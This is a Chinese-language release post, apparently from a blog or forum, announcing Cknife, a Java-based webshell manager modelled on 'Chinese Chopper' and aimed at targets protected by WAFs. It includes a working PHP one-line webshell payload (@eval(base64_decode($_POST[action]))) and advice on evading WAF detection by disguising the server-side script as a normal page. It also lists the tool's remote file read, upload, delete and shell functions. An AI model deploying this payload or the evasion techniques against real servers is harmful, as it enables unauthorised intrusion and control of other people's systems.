Burp 已经成了绿帽子门必不可少的工具,相信大家都装有 Java 环境,本软件支持 1.7+ 以及所有安装了环境的系统。1.6 后续会考虑兼容。
一直都有想写一款真正实用的跨平台类似的菜刀,然后可惜代码是个渣渣一直可望而不可即,后续随着公司业务增多,大多数目标都有 WAF,于是就想写一款完全脱离工具,只依靠配置文件的菜刀。顺便当个码农 ~~~
前前后后大约花了一个月,除了打飞机的时间基本就在写这货了,这里要感谢 @MelodyZX  牛,在我完成大体框架后,帮了我不少大忙,包括完成虚拟终端,非常感谢。

程序采用 java 语言编写,数据库采用了 sqlite,本来想使用 access,但是在 jdk1.8 以后移除了该功能,意味不能使用默认环境连接,最终我选择了 sqlite,但是体积增加了 800 多 K,程序本身只有 100 多 K,因为引入了连接 sqlite 的包,后续会删除一些不想关的类来缩小体积。为了给一些爱美玩家使用,特地生成了一个带有大量皮肤的 C 刀,不过体积肯定也会更大。

主程序为 Cknife.jar,运行后会生成 Cknife.db,以及默认的配置文件 Config.ini。
前面说过这是一款完全基于配置文件的菜刀,主程序只是图形的展示,以及数据的发送,我分开了每一个步骤写入到配置文件里面。可以自定义任何代码,包括更改参数名称,参数内容。
比如:
SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel 设置皮肤为 nimbus
SPL=->|                表示截取数据的开始符号
SPR=|<-               表示截取数据的结束符号
CODE=code         编码参数
ACTION=action    动作参数
PARAM1=z1         参数 1
PARAM2=z2         参数 2
PHP_BASE64=1   当为 PHP 时,Z1,Z2 参数是否开启自动 base64 加密,如果想定义自己的加密方式则关闭设置为 0
PHP_MAKE=@eval(base64_decode($_POST[action]));   生成方式,这里可以不用该方式,可以用你任何想要的方式
PHP_INDEX=...             显示主页功能的代码放这
PHP_READDICT=...      读取主页功能的代码放着
PHP_READFILE=...       读取文件功能的代码
PHP_DELETE=...           删除文件夹以及文件功能的代码 ...
PHP_RENAME=...         重命名文件夹以及文件功能的代码 ...
PHP_NEWDICT=...        新建目录功能的代码
PHP_UPLOAD=...          上传文件功能的代码
PHP_DOWNLOAD=...    下载文件功能的代码
PHP_SHELL=...              虚拟终端功能的代码
如果觉得复杂,其实大多数时间只需要 PHP_MAKE 过 WAF 就行了,后面的基本不会查杀。

程序的自定义功能可以用来变相做另外一种免杀
自定义配置如下
CUS_MAKE=1
CUS_INDEX=index
CUS_READDICT=readdict
CUS_READFILE=readfile
CUS_SAVEFILE=savefile
CUS_DELETE=delete
CUS_RENAME=rename
CUS_NEWDICT=newdict
CUS_UPLOAD=upload
CUS_DOWNLOAD=download
CUS_SHELL=shell
只要写的脚本文件能与自定义的能对接上就可以使用。
那么如果做免杀呢?当你只用 MAKE 的时候确实想不到办法去过 WAF 的时候,
你可以写一个脚本比如 PHP 的,但是不是一句话,而是实现正常功能的脚本。
比如这个脚本为 1.php,我写一个功能为显示主页的功能,然后提交 1.php?action=index,
选择自定义对接,就可以与 C 刀进行连接了。前提是你的 1.php 得过 WAF。

来几张图吧,先看看皮肤版
01.png


02.png
02.png

体积有点大,因为加载了皮肤包。

正常版本,皮肤用的 JDK 默认的几款,可以自由切换。
MAC 下为 MAC 皮肤,其余系统为 Nimbus 皮肤,如果没有则使用 Metal 皮肤

Mac
11.png


0.png
0.png

1.png
1.png

2.png
2.png

3.png
3.png

Kali
4.png


5.png
5.png

6.png
6.png

Win
7.png


8.png
8.png

9.png
9.png

默认没有的话会使用如下皮肤
10.png

标准版:Cknife.jar
皮肤版:Cknife_Skin.jar

补充下 JSP 脚本的下载地址,修复了原版本菜刀 JSP 上传失败的问题。
下载地址:JSP